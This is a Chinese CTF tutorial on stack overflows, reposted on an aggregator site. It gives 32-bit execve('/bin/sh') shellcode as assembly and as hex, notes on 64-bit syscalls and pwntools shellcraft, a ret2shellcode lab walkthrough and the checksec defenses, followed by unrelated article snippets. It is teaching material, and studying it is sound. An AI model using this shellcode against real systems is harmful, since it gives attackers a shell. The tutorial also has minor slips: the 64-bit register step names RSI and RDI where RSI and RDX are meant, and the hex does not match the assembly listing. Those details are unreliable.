pwn(2)-栈溢出下

news2024/11/16 9:41:50

32位shellcode编写

不同内核态操作通过给寄存器设置不同的值,在调用指令int 80h,就可以通知内核完成不同的功能。

只要我们通过特定的汇编代码把特定的寄存器设定为特定的值后,在调用int 80h执行sys_execve(“/bin/sh”,NULL,NULL)就可以获得shell了;

通过https://syscalls32.paolostivanin.com/查询系统调用。

在这里插入图片描述

网站给出了需要设置的eax的值及其他。

编写方法

1.eax设为0xb

2.ebx设为"/bin/sh"字符串的地址。ebx=&(“/bin/sh\x00”)

3.将ecx ,edx设为0

xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0xb;
push ecx;
push 0x68732f2f;
push 0x6e69622f;
mov ebx,esp;
int 0x80;

转为机器码

31c931db31c0b00b51682f2f7368682f62696e89e3cd80

检验汇编是否正确

asm -r ""

在这里插入图片描述

64位编写

64位中调用的是syscall,不是int 0x80

64位程序传递参数不是直接通过栈,而是前六个参数通过寄存器,分别是RDI,RSI,RDX,RCX,R8,R9

第六个参数之后的参数才是通过栈传递

编写方法

1.RAX设为0x3b

2.RDI设为"/bin/sh"字符串的地址,RDI=&(“/bin/sh”)

3.把RSI,RDI设为0;

也可以通过pwntools自带shellcraft模块生成

shellcraft.sh()

默认产生32位shellcode,要产生64位要声明

context(os='linux',arch='amd64')
shellcraft.sh()

还可以取网站查找写好的

http://shell-storm.org/shellcode/

re2shellcode

函数执行完后,返回到shellcode的地址去执行shellcode。

局限:程序必须有内存执行权限

在这里插入图片描述

NX没有开,可以用

在这里插入图片描述

通过vmmap查找到内存中有很多可读可写可执行区域
在这里插入图片描述

buf在bss段的0804A080
在这里插入图片描述

而且这个位置可以用

在这里插入图片描述

先生成120字节的字符串,输入,cyclic -l找到对应的偏移量。执行脚本就拿到shell。

防御手段

chceksec

1.RELRO:开启后,无法修改got表

2.Stack:开启后,不能直接进行栈溢出

3.NX:开启后无法通过写shellcode的方法拿到shell权限

4.PIE:开启后,每次程序运行的地址都不一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/623577.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python获取链家二手房源数据信息

前言 嗨喽,大家好呀~这里是爱看美女的茜茜呐 环境使用: Python 3.8 Pycharm 模块使用: requests >>> pip install requests 数据请求模块 parsel >>> pip install parsel 数据解析模块 csv 内置模块 👇 👇 &#x1…

OJ#203.身高排序

题目描述 ​ 海贼小学为了强健学生的身体,每天课间都要组织学生在户外学做广播体操。​ 这一天,五年级三班的所有同学在老师的指引下将队形排成了 M行 N 列。 现已知所有同学 的身高,数值为整数,单位:厘米。要求在所有…

Ansible从入门到精通【五】

大家好,我是早九晚十二,目前是做运维相关的工作。写博客是为了积累,希望大家一起进步! 我的主页:早九晚十二 专栏名称:Ansible从入门到精通 立志成为ansible大佬 ansible-playbook企业级实战--handler hand…

爬虫基本的编码基础知识

爬虫的编码基础知识包括以下几个方面: 网络请求:使用Python中的requests库或urllib库发送HTTP请求,获取网页内容。 解析网页:使用Python中的BeautifulSoup库或lxml库解析HTML或XML格式的网页内容,提取所需的数据。 数…

如何开发视频上传和播放功能时,既省钱又体验好?

前言 现如今,大部分带内容的网站或应用都有视频区了,不说是大厂平台,就连个人开发者也相继在自己网站或小程序上迭代出视频板块。那既然有了视频模块,除个性化推荐,智能审核等这种费钱又耗时的功能外(个人开发者暂缓)。…

软件测试金融测试岗面试热点问题

1、网上银行转账是怎么测的,设计一下测试用例。 回答思路: 宏观上可以从质量模型(万能公式)来考虑,重点需要测试转账的功能、性能与安全性。设计测试用例可以使用场景法为主,先列出转账的基本流和备选流。…

Hive Code2报错排查

前言 大多数可能的code2报错一般是内存不够,所以加下面这个配置可以有效解决这个问题 set hive.auto.convert.join false; #取消小表加载至内存中 但这个不一定是因为内存不够,其实很多错误都是报这种官方错误的,所以一定要去yarn上看日志。…

如何解决vcruntime140.dll找不到的问题?两种方法教你解决

当你在运行某些应用程序或游戏时,可能会遇到一个错误提示,即“找不到vcruntime140.dll”文件。这是因为你的电脑中缺少了这个动态链接库文件,这个问题可能会导致你无法正常使用某些应用程序。在本文中,我们将介绍两种方法来解决 …

Vue3.0快速入门(速查)

Vue也是基于状态改变渲染页面&#xff0c;Vue相对于React要好上手一点。有两种使用Vue的方式&#xff0c;可以直接导入CDN&#xff0c;也可以直接使用CLI创建项目&#xff0c;我们先使用CDN导入&#xff0c;学一些Vue的基本概念。 <!-- 开发环境版本&#xff0c;包含了有帮…

泰克AFG31000系列任意波函数发生器应用

模拟电路检定 这是一个模拟世界。所有物理量均使用模拟信号捕获和表示。因此&#xff0c;需要检定放大器、滤波器和转换器等模拟电路的性能。 InstaView? 技术避免在阻抗不匹配的 DUT 上增加的波形不确定性频率范围为 25 MHz 至 250 MHz由于信号保真度高&#xff0c;无需使…

MySql基础笔记

数据库相关概念 ​ 名称全称简称数据库存储数据的仓库&#xff0c;数据是有组织的进行存储DataBase&#xff08;DB&#xff09;数据库管理系统操纵和管理数据库的大型软件DataBase Management System&#xff08;DBMS&#xff09;SQL操作关系型数据库的编程语言&#xff0c;定…

Java粮油MES系统源码(带可视化数据大屏)

▶ Java粮油MES系统实现一物一码&#xff0c;全程追溯 &#xff0c;正向追踪&#xff0c;逆向溯源&#xff0c;自主研发,有演示&#xff01; 一、粮油MES技术框架说明 开发语言&#xff1a;java 开发工具&#xff1a;idea或eclipse 前端框架&#xff1a;easyui 后端框架&…

横空出世!京东技术专家狂推的Redis笔记,实战和原理两开花

Redis 是互联网技术领域使用最为广泛的存储中间件&#xff0c;它是「Remote Dictionary Service」的首字母缩写&#xff0c;也就是「远程字典服务」。Redis 以其超高的性能、完美的文档、简洁易懂的源码和丰富的客户端库支持在开源中间件领域广受好评。国内外很多大型互联网公司…

【JavaSE】 封装

文章目录 一. 封装的概念二. 访问限定符三. 封装扩展之包1. 包的概念2. 导入包中的类3. 自定义包4. 包的访问权限控制举例5. 常见的包 四. static成员1. 简介2. static修饰成员变量3. static修饰成员方法 五. 代码块1. 代码块概念以及分类2. 普通代码块3. 构造代码块4. 静态代码…

chatgpt赋能python:Python可以实现两个数值的互换

Python可以实现两个数值的互换 Python是一种高效、易学且功能强大的编程语言&#xff0c;可以用于各种不同的编程目的&#xff0c;包括数据科学、网络编程、机器学习、人工智能等领域。其中&#xff0c;Python的一个最基本、最关键的操作就是对数值的处理&#xff0c;包括加减…

【SpringMVC】| SpringMVC的视图

目录 SpringMVC的视图 1. ThymeleafView 2. 转发视图 3. 重定向视图 4. 视图控制器view-controller SpringMVC的视图 &#xff08;1&#xff09;SpringMVC中的视图是View接口&#xff0c;视图的作用渲染数据&#xff0c;将模型Model中的数据展示给用户。 &#xff08;2&am…

Android单元测试(五):网络接口测试

温馨提示&#xff1a;如果你不太熟悉单元测试&#xff0c;可以先看下之前四篇基础框架使用。便于你更好的理解下面的内容。 在平日的开发中&#xff0c;我们用后台写好给我们接口去获取数据。虽然我们有一些请求接口的工具&#xff0c;可以快速的拿到返回数据。但是在一些异常情…

怎么用u盘制作pe系统启动盘

PE系统是一种小型的windows系统&#xff0c;通俗的说法也就是在电脑出现问题不能正常进入系统时的一种紧急备用系统。它容量小能量大&#xff0c;可以解决win系统中经常遇到的一些问题&#xff0c;对于经常使用电脑的用户来说&#xff0c;制作一个pe系统启动盘放在身边是很有必…

selenium python教程第1章

1. 安装 1.1. 安装 Selenium Python bindings 提供了一个简单的API&#xff0c;让你使用Selenium WebDriver来编写功能/校验测试。 通过Selenium Python的API&#xff0c;你可以非常直观的使用Selenium WebDriver的所有功能。 Selenium Python bindings 使用非常简洁方便的AP…

【基于MATLAB的dijkstra算法】

基于MATLAB的dijkstra算法 %姓名&#xff1a;马伟 %日期&#xff1a;2023年6月七号 %作业&#xff1a;通信网理论&#xff0c;最小路径树D算法 function [distances, paths, tree] dijkstra(graph, startNode)numNodes size(graph, 1);distances inf(1, numNodes);visited …